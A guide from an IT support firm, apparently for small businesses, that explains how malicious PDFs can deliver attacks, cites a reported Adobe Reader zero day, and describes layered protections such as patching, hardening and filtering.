Can PDF files be dangerous?

PDF files are widely used for invoices, reports, manuals, contracts, and forms. Because they are so common, many people assume they are simple read only documents and therefore low risk.

That assumption is not always correct. A PDF can sometimes be used to deliver harmful content, exploit weaknesses in software, or trick a person into opening something that should not be trusted.

This guide explains:

• why PDF files are commonly trusted

• how malicious PDFs can sometimes be dangerous

• why the risk is not limited to one type of computer

• which protection layers help reduce exposure

• what those protections do not do

• why PDF security settings should be reviewed carefully before broad rollout

This is not a permanent checklist. PDF related risks change over time, software changes over time, and protective controls should be reviewed as part of wider layered security.

• How PDF files normally work
• What can go wrong with a PDF file
• Is the risk limited to Windows computers
• Why trusted documents still work as an attack route
• Real incidents involving malicious PDFs
• How the protection layers help
• A note about Microsoft Intune
• Important limitation of security settings
• What PDF hardening does not do
• Practical guidance for businesses and individual users
• When to contact IT support

PDF files are often used because they keep formatting consistent across devices and are easy to share by email, messaging apps, websites, or cloud platforms. In normal use, a PDF behaves like a document container that can hold text, images, links, forms, and sometimes more advanced elements.

That flexibility is useful, but it also means PDF readers may need to process more than plain text. The more capable the reader software becomes, the more important it is to keep it secure and up to date.

For most people, the important mental model is simple. A PDF is still a file opened by software. If the file is malicious, or if the software opening it has a weakness, the document may become a route into the device rather than just something to read.

There are several ways a PDF can become risky. The first is deception. A malicious PDF may look routine and arrive in a normal business context, such as an invoice, delivery note, contract, or scanned document. That makes it easier for attackers to blend in with ordinary work.

The second is software exploitation. If the PDF reader or related component has a vulnerability, opening the file may be enough to trigger harmful behaviour. Recent reporting on an Adobe Acrobat Reader zero day described active attacks in which malicious PDFs were used to steal local information and potentially support further compromise.

The third is follow on activity. Even when the initial PDF is only the starting point, it may help attackers steal information, contact a remote system, or attempt a later stage attack. That is why PDF risk is not only about the document itself. It is also about what happens afterwards on the device and network.

No. The general risk is broader than Windows. PDF files are exchanged across Windows computers, Macs, iPhones, Android phones, tablets, and web browsers. The exact technical behaviour differs depending on the software and platform, but the underlying question is wider: a document that looks safe can still be used as part of an attack.

That is why this guide keeps a broad title rather than narrowing the topic to one operating system. Platform specific controls belong inside the body of the page, not in the main title, unless the answer is materially different on one platform.

Some protections are tied to a particular operating system, browser, or PDF application. Others sit at the email, DNS, web filtering, or endpoint security level. The correct controls depend on the devices and software in use.

Attackers often use trusted formats because people are used to them. A PDF does not look suspicious in the same way that an unknown program file might. It fits naturally into business workflows.

This is one reason PDF based attacks can still be effective. When a document format matches ordinary work, malicious activity is harder to distinguish from legitimate use.

That matters for small organisations because many security problems do not begin with obviously strange behaviour. They begin with something ordinary arriving at a busy moment.

This is not just a theoretical concern. A recent Adobe Acrobat and Reader zero day, tracked as CVE 2026 34621, was reported as having been actively exploited in the wild for months. Researchers indicated that exploitation may have started as early as November 2025. Adobe confirmed that the flaw could lead to arbitrary code execution, while early analysis also suggested the malicious PDFs were capable of harvesting local information and could support further stages of compromise.

The purpose of including an example like this is not to create alarm. It is to show why document security should be treated as part of real system security rather than as a minor file handling detail. Real examples help readers understand that the issue is genuine while keeping the tone factual and non dramatic.

At the time this guide was reviewed, public reporting also noted that the severity score had later been reduced from critical to high because the file had to be opened locally to trigger the exploit. That did not reduce the practical urgency of patching and reviewing protective controls.

There is no single PDF setting that makes the topic go away. The safer approach is layered protection. One layer is software maintenance. PDF reader software should be kept current so known vulnerabilities are addressed as updates become available. Real incidents such as the Adobe Reader zero day help show why patching remains one of the most important controls.

Another layer is application hardening. Public reporting on PDF related risks has highlighted measures such as disabling JavaScript where appropriate, restricting embedded content, reviewing trust related document behaviours, and using protected or sandboxed modes. Those kinds of settings can reduce exposure, especially when combined with routine software updates. In practice, the exact setting names and enforcement methods may vary depending on the PDF application, version, and device management approach in use.

Another layer is email and web protection. Strong filtering, attachment analysis, browser protection, and sensible warning policies help reduce the chance that a risky file reaches the user or is opened casually. DNS or web filtering can also help limit connections to known malicious destinations as part of wider layered security.

Another layer is endpoint protection. Monitoring suspicious behaviour, limiting application actions, reducing unnecessary privileges, and restricting suspicious outbound connections can make it harder for a malicious document to do further harm. In managed Windows environments, some endpoint controls may also help reduce follow on behaviour from document readers by restricting suspicious child process activity or similar actions.

Another layer is behaviour. Unexpected documents, even in common formats, should be treated carefully. If a document seems out of place, arrives unexpectedly, or creates pressure to act quickly, it should be verified before being opened.

In Microsoft 365 environments where Microsoft Intune is already in use, some additional endpoint hardening measures may be available as part of a wider security approach.

That can include Windows and Microsoft security controls that help reduce exposure to risky files or suspicious follow on behaviour. In some environments, centrally managed application hardening settings may also be enforced through device management deployment methods such as Intune

The exact options depend on the tenant, device management model, licensing, application versions, and operational requirements. Real world implementation may also need testing, as settings and policy locations can vary between products and builds.

This guide does not cover Intune configuration. That belongs in internal deployment documentation rather than a public website guide.

Some security features that help reduce PDF related risk may also restrict features that some people rely on for normal work. For example, certain settings may affect active content, embedded elements, scripts, document behaviour, downloads, or application actions that are genuinely required in some environments. This matters in mixed environments because the same intended control may not always appear in exactly the same way across different PDF products, editions, or deployment scenarios.

For that reason, hardening should be tested carefully before it is applied widely. Better security is not the same as turning on every available control without review. Controls should be matched to real use, reviewed over time, and adjusted where necessary.

This is one of the most important practical points in the guide. Security guidance should not be treated as a permanent checklist, and controls should be understood as part of wider layered security.

PDF hardening can reduce risk, but it does not remove all risk. It also does not guarantee that one application setting will behave identically across every device or PDF product in use. It does not replace software updates. It does not replace email filtering. It does not replace good judgement when handling unexpected files. It does not guarantee that a malicious document will never reach a device.

It also does not replace wider security measures such as endpoint protection, logging, DNS or web filtering, access control, backup, and incident response. This matters because security is layered. It should be described as prevention and risk reduction rather than absolute protection.

A sensible starting point is to assume that a PDF should be treated with the same caution as other externally received files. Keep your PDF software and operating systems current. Do not assume a document is safe only because it is a PDF. Be cautious with unexpected attachments and download links.

It is also sensible to review whether advanced PDF features are genuinely needed in the environment, to use layered security rather than relying on one application setting, and to test hardening changes before broad deployment if the devices support central management. That testing should confirm not only that the setting applies, but that it behaves as expected across the different PDF applications and device types in use.

If an organisation receives many external documents, it is worth reviewing whether some users need extra controls, isolation, or additional monitoring.

If a PDF file causes unusual behaviour on a device, if a document requests unexpected permissions, if the PDF reader behaves oddly after opening a file, or if there is any concern that a suspicious document has been opened, it is sensible to stop and seek technical review.

Useful information to provide includes the source of the file, how it was received, what happened when it was opened, what device was used, and whether anyone else received the same document.

This guide forms part of a broader layered security approach. For structured guidance on security and resilience planning, see our Security and Resilience page.

For information about practical implementation and ongoing support, you can review our IT services and local IT support coverage across London, Hertfordshire, and Essex.

Return to all guides

Author
Elías Sánchez
IT Support Consultant
Evening Computing
London, United Kingdom

This guide was prepared by Elías Sánchez with research and drafting assistance from AI tools. All technical content has been reviewed and adapted for clarity and accuracy.

Last reviewed
19 April 2026